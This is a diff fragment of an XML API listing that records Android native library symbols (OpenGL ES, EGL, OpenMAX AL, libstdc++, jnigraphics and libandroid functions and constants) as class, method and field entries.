+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsSync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenerateMipmap" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramBinaryOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMapBufferRange" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramResourceName" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteTransformFeedbacks" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFuncSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDisablei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferPointervOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilFuncSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferPointerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramInterfaceiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexSubImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix3x2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSampleCoverage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexStorage3DMultisampleOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribPointerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetAttribLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBufferSubData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameterIuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glValidateProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationSeparatei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPolygonOffset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEGLImageTargetTexture2DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetDebugMessageLog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform2i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindProgramPipeline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenQueries" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindBufferRange" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetSamplerParameterIiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPrimitiveBoundingBoxEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexImage3D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterIuivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetInteger64i_v" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramBinary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libegl.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglTerminate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetCurrentSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglWaitGL" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateStreamProducerSurfaceKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetNativeClientBufferANDROID" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglMakeCurrent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreatePbufferFromClientBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglSwapBuffersWithDamageKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglWaitNative" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglSwapInterval" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglStreamConsumerAcquireKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateNativeClientBufferANDROID" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglQueryContext" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBEGL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetError" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglQueryStreamKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglQueryString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetConfigAttrib" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateImageKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglDestroyContext" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetSyncAttribKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglInitialize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetDisplay" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateContext" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateStreamFromFileDescriptorKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglDestroySyncKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglSwapBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCopyBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglDestroyStreamKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglQueryStreamTimeKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglReleaseTexImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetProcAddress" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglWaitSyncKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglDestroyImageKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglBindTexImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglBindAPI" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglPresentationTimeANDROID" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateSyncKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreatePixmapSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglClientWaitSyncKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglDestroySurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreatePbufferSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglStreamConsumerGLTextureExternalKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetCurrentDisplay" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetSystemTimeNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglLockSurfaceKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateStreamKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglSurfaceAttrib" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetStreamFileDescriptorKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglReleaseThread" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglChooseConfig" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetCurrentContext" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetSystemTimeFrequencyNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglCreateWindowSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglSignalSyncKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglQueryAPI" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglSetDamageRegionKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglStreamAttribKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglStreamConsumerReleaseKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglGetConfigs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglQueryStreamu64KHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglWaitClient" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglUnlockSurfaceKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eglQuerySurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libopenmaxal.so" static="false" visibility="public">
+ <field deprecated="not deprecated" final="true" name="XA_IID_AUDIOENCODER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_AUDIOIODEVICECAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_METADATATRAVERSAL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_VIDEOPOSTPROCESSING" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_STREAMINFORMATION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_VIBRA" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="xaCreateEngine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_CONFIGEXTENSION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_DEVICEVOLUME" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_ANDROIDBUFFERQUEUESOURCE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_VIDEOENCODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_DYNAMICINTERFACEMANAGEMENT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_PREFETCHSTATUS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_OUTPUTMIX" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_IMAGEEFFECTS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_IMAGEENCODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_SNAPSHOT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_OBJECT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_RADIO" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_METADATAINSERTION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_CAMERA" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_AUDIOENCODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_PLAYBACKRATE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_RECORD" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_VIDEODECODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="LIBOPENMAXAL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_EQUALIZER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_NULL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_VOLUME" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_IMAGEDECODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_THREADSYNC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_LED" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_ENGINE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_VIDEOENCODER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_IMAGECONTROLS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_METADATAEXTRACTION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_SEEK" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_DYNAMICSOURCE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_PLAY" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_RDS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_AUDIODECODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_CAMERACAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="xaQuerySupportedEngineInterfaces" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="XA_IID_IMAGEENCODER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="xaQueryNumSupportedEngineInterfaces" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libstdc++.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="_Znam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_ZdaPv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_ZnamRKSt9nothrow_t" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_guard_abort" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_guard_acquire" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_ZdaPvRKSt9nothrow_t" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_pure_virtual" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_ZnwmRKSt9nothrow_t" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBC_O" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_ZdlPvRKSt9nothrow_t" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_ZdlPv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_Znwm" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_guard_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="_ZSt7nothrow" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libjnigraphics.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="AndroidBitmap_getInfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AndroidBitmap_unlockPixels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AndroidBitmap_lockPixels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBJNIGRAPHICS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libandroid.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getUiModeType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getTtsEngine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getKeyCode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_pollAll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ALooper_wake" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeActivity_setWindowFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_isBetterThan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AInputQueue_preDispatchEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getUiModeNight" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAssetManager_openDir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getEventTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_fromSurfaceTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getAxisValue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeActivity_setWindowFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_copy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AInputQueue_attachLooper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setMcc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ATrace_isEnabled" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_getHeight" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setNavigation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getHistoricalTouchMinor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AStorageManager_mountObb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setKeyboard" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getPointerId" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AObbInfo_getVersion" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_getDefaultSensorEx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getMnc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getAction" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorEventQueue_enableSensor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorManager_createEventQueue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getOrientation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getPointerCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getXPrecision" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getVendor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAssetDir_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AChoreographer_postFrameCallbackDelayed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getFifoReservedEventCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_isDirectChannelTypeSupported" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getCountry" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AInputQueue_getEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASharedMemory_setProt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getKeysHidden" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setKeysHidden" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getToolType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getOrientation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AKeyEvent_getDownTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getTouchMajor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_getScreenSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
